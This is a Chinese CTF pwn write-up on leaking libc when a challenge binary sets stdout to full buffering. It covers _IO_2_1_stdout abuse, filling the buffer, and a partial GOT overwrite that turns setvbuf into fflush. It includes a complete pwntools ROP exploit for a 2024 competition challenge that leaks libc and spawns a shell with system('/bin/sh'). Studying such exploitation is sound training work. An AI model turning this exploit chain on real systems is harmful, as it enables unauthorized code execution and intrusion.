stdout

stdin、stdout、stderr对应程序的输入流文件、输出流文件和错误流文件,默认情况下文件标识符为0、1、2。

很多pwn题在init中都有如下代码,这是初始化程序的io结构体,只有初始化之后,io函数才能在程序过程中打印数据,如果不初始化,就只能在exit结束的时候,才能一起把数据打印出来。。

1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

函数原型如下:

1
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream – 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
  • buffer – 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
  • mode – 这指定了文件缓冲的模式。

而其中mode参数决定了文件缓存的模式:

对于stdout而言,mode为0时表示全缓冲,即程序在exit结束时或缓冲区填满时才打印内容。

mode为1时表示行缓冲,即程序在遇到换行符或者在缓冲区填满时才打印内容。

mode为2时表示无缓冲,即程序立刻打印当前内容。

很多pwn题中需要泄露libc,但题目中没有给出puts相关的函数或者将stdout的mode设为0(即开启全缓冲),使得没有办法泄露libc。

这里总结几种思路:

1、对于堆题,若程序中没有puts相关函数但能任意地址写,可利用_IO_2_1_stdout泄露libc,具体实现方法为修改该结构体的flag字段,使得程序误认为缓冲区有内容,即可调用io_puts函数输出stdout_addr进而泄露libc。_

参考: 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

2、对于栈题,若设置了setvbuf(stdout, 0LL, 0, 0LL) 且存在栈溢出,可:

  • 若能控制rdx寄存器,则可通过调用setvbuf(stdout, 0LL, 2, 0LL) 将输出缓冲区开启,之后泄露libc。

  • 若不能控制rdx,可尝试填满缓冲区将内容输出。

    1
    2
    3
    for i range(150):
    payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    io.sendlineafter(payload)
  • 有时候填满缓冲区对于本地可以,对于远程却不行(可能是远程对缓冲区有一些设置),此时可以通过fllush(stdout)刷新缓冲区,即可输入内容。

    具体方法:若got表可写,由于fllush和setvbuf的libc地址相近,仅相差2字节,且低12位固定,因此可以考虑爆破4位,即1/16概率修改setvbuf为fllush,然后跳转回main(因为不知道stdout的地址),再次执行setvbuf(stdin, 0LL, 0, 0LL) 时会执行fllush(stdout)刷新缓冲区进而泄露出libc。

例题:2024春秋杯网络安全联赛夏季赛 stdout

程序开始设置了setvbuf(stdout, 0LL, 0, 0LL) 且存在栈溢出。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

elf = ELF("./pwn3")
libc = ELF("./libc-2.31.so")


from pwn import *

elf = ELF("./pwn3")
libc = ELF("./libc-2.31.so")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

while True:
#p = remote("8.147.132.12",14353)
p = process("./pwn3")
try:
# ret2vuln
vuln = 0x40125D
payload = b'a' * 0x50 + b'deadbeef' + p64(vuln)
p.send(payload)

# ret2fflush
pop_rdi = 0x00000000004013d3
pop_rsi_r15 = 0x00000000004013d1
ret = 0x000000000040101a
main = elf.sym['main']
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
setvbuf_got = elf.got['setvbuf']

# read(0, setvbuf_got, 0x200) -> puts(setvbuf_got) -> fflush(1)
payload = b'a' * 0x20 + b'deadbeef'
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(setvbuf_got) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(main)
p.send(payload)

sleep(1)

p.send(p16(0x4340))
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
success("libc_base = " + hex(libc_base))

system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

payload = b'a' * 0x50 + b'deadbeef' + p64(vuln)
p.send(payload)

payload = b'a' * 0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)

p.interactive()
except:
p.close()

参考大佬:2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解 - 知乎 (zhihu.com)